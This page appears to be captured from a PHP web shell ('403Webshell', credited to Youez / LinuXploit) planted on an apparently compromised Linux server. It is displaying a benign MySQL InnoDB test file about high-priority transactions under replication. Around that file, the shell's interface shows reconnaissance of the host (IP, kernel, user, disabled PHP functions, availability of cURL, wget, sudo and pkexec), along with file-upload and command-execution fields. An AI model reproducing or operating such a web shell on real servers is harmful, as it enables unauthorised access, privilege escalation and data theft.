403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.52
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb/t/high_prio_trx_rpl.test
# Scenario: High prio setup with replication.
# T1 and T2 run on master.
#  T1= ({R(B), W(B)}, )
#  T2= ({R(B), W(B), C}, HIGH PRIORITY)
#
# Outcome: T2 completes and T1 abort.T2 is replicated to slave.

--source include/not_embedded.inc
--source include/have_innodb.inc
--source include/master-slave.inc
--source include/count_sessions.inc

CREATE TABLE t1 (c1 INT NOT NULL PRIMARY KEY) ENGINE=InnoDB;
INSERT INTO t1 VALUES (0);

--connect(con1, localhost,root,,test,$MASTER_MYPORT)

--echo
--echo # On connection master
--connection master
START TRANSACTION;
UPDATE t1 SET c1=1 WHERE c1=0;

--echo
--echo # On connection con1
--connection con1
--source include/start_transaction_high_prio.inc
UPDATE t1 SET c1=2 WHERE c1=0;
COMMIT;

--echo
--echo # On connection master
--connection master
--error ER_ERROR_DURING_COMMIT
COMMIT;

--echo # Row with value 2 is expected on master.
SELECT * FROM t1;

--source include/sync_slave_sql_with_master.inc
-- connection slave
--echo # Row with value 2 is expected on slave.
SELECT * FROM t1;

--echo #
--echo # Bug#23021168 REPLICATION STOPS AFTER TRANSACTION IS ROLLED BACK
--echo # ASYNCHRONOUSLY IN MASTER
--echo #

--echo
--echo # On connection master
--connection master
START TRANSACTION;
INSERT INTO t1 VALUES (1);

--echo
--echo # On connection con1
--connection con1
--source include/start_transaction_high_prio.inc
INSERT INTO t1 VALUES (1);
COMMIT;
SELECT * FROM t1 ORDER BY c1;

--echo
--echo # On connection master
--connection master
--error ER_LOCK_DEADLOCK
INSERT INTO t1 VALUES (3); ## This will hit ER_LOCK_DEADLOCK
INSERT INTO t1 VALUES (4); ## This will succeed.
COMMIT;

--source include/sync_slave_sql_with_master.inc
-- connection slave
--echo # Rows 1, 2, 3 & 4 is expected on slave.
SELECT * FROM t1 ORDER BY c1;

--disconnect con1
--echo
--echo # On connection master
-- connection master
DROP TABLE t1;
--source include/wait_until_count_sessions.inc
--source include/sync_slave_sql_with_master.inc
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit